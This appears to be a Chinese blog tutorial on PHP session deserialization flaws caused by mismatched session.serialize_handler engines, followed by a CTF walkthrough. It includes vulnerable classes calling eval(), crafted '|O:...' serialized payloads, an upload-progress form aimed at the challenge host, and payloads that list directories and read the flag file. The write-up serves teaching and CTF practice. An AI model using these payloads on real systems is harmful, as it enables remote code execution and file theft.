PHP之SESSION反序列化机制

参考链接:https://blog.spoock.com/2016/10/16/php-serialize-problem/

0x01 原理

php.ini中有个配置项如下:

1
session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认使用php

在php语法如下:

1
ini_set('session.serialize_handler', 'xxxxx');

这里的xxxxx有三种不同的引擎,不同的引擎所对应的session的存储方式不相同。

1
2
3
4
5
php_binary: 键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数序列化处理的值

php: 键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):经过serialize()函数序列化处理的值

0x02 简单用法

test.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class syclover{
var $func="";
function __construct() {
$this->func = "phpinfo()";
}
function __wakeup(){
eval($this->func);
}
}
unserialize($_GET['a']);
?>

在11行对传入的参数进行了序列化。我们可以通过传入一个特定的字符串,反序列化为syclover的一个示例,那么就可以执行eval()方法。我们访问localhost/test.php?a=O:8:”syclover”:1:{s:4:”func”;s:14:”echo “spoock”;”;}。那么反序列化得到的内容是:

1
2
object(syclover)[1]
public 'func' => string 'echo "spoock";' (length=14)

同时页面输出spoock,说明成功执行了echo的命令,这只是一个简单的序列化啊漏洞例子

PHP Session 序列化不当的利用

HP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

1
$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

这里$_SESSION的数据使用php_serialize,那么最后的存储的内容就是a:1:{s:6:”spoock”;s:24:”|O:11:”PeopleClass”:0:{}”;}。
但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:

1
2
3
4
array (size=1)
'a:1:{s:6:"spoock";s:24:"' =>
object(__PHP_Incomplete_Class)[1]
public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:”spoock”;s:24:”作为SESSION的key,将O:11:”PeopleClass”:0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

实际用法

这里假设1.php,2.php两个文件,每个文件所使用的SESSION的引擎不一样,这样就会产生一个漏洞

1.php

1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];

2.php

1
2
3
4
5
6
7
8
9
10
11
12
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}

function __destruct() {
eval($this->hi);
}
}

访问1.php,构造如下payload:

1
localhost/1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

然后’php_serialize’将会设置session对话并且值为a:1:{s:6:”spoock”;s:48:”|O:5:”lemon”:1:{s:2:”hi”;s:14:”echo “spoock”;”;}”;}

访问2.php

这一步将会利用解析session对话的值,以|为分割符将session分割为键名和值两部分
键名:a:1:{s:6:”spoock”;s:48:”
值O:5:”lemon”:1:{s:2:”hi”;s:14:”echo “spoock”;”;}”;}
从而解析出了序列化,自动生成了lemon的类,当类在结尾销毁时将会调用析构函数执行恶意代码

CTF一道题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
1
ini_set('session.serialize_handler', 'php');

很明显的PHP Session 反序列化漏洞

根据代码的?phpinfo我们可以看到

image

  • 首先第一行的session.serialize_handler默认为php_serialize,而index.php中将其设置为php。这就导致了seesion的反序列化问题。

  • 第三行的ession.upload_progress.enabled为On
    image

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。

但是,这时就有一个问题,在题目代码中,没有某个值是用来接受我们传入的数据,并储存到$_SESSION中的。

其实我们是有办法传入$_SESSION数据的,这里就利用到了|的反序列化问题

思路很明显了,我们需要构造一个上传和post同时进行的情况,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="sdas" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>

这些代码在本地搞,然后抓包,修改filename的值

1
2
3
__FILE__ :被称为PHP魔术常量,返回当前执行PHP脚本的完整路径和文件名,包含一个绝对路径

dirname(__FILE__) 函数返回的是脚本所在在的路径。

下面构造序列化值

1
2
3
4
5
6
7
8
9
10
11
<?php
class OowoO
{
public $mdzz='print_r(scandir(dirname(__FILE__)))';
}
$obj = new OowoO();
echo serialize($obj);
echo '<br>';
$a = '|O:5:"OowoO":1:{s:4:"mdzz";s:35:"print_r(scandir(dirname(__FILE__)))";}';
echo serialize($a);
?>

加上|,而且考虑到转义问题,最终的payload为:

1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

image

1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}

这条可以爆出当前目录

最后通过file_get_contents()函数来读取文件

1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

得到flag

文章目录
  1. 1. 0x01 原理
  2. 2. 0x02 简单用法
  3. 3. PHP Session 序列化不当的利用
  4. 4. 实际用法
  5. 5. CTF一道题
,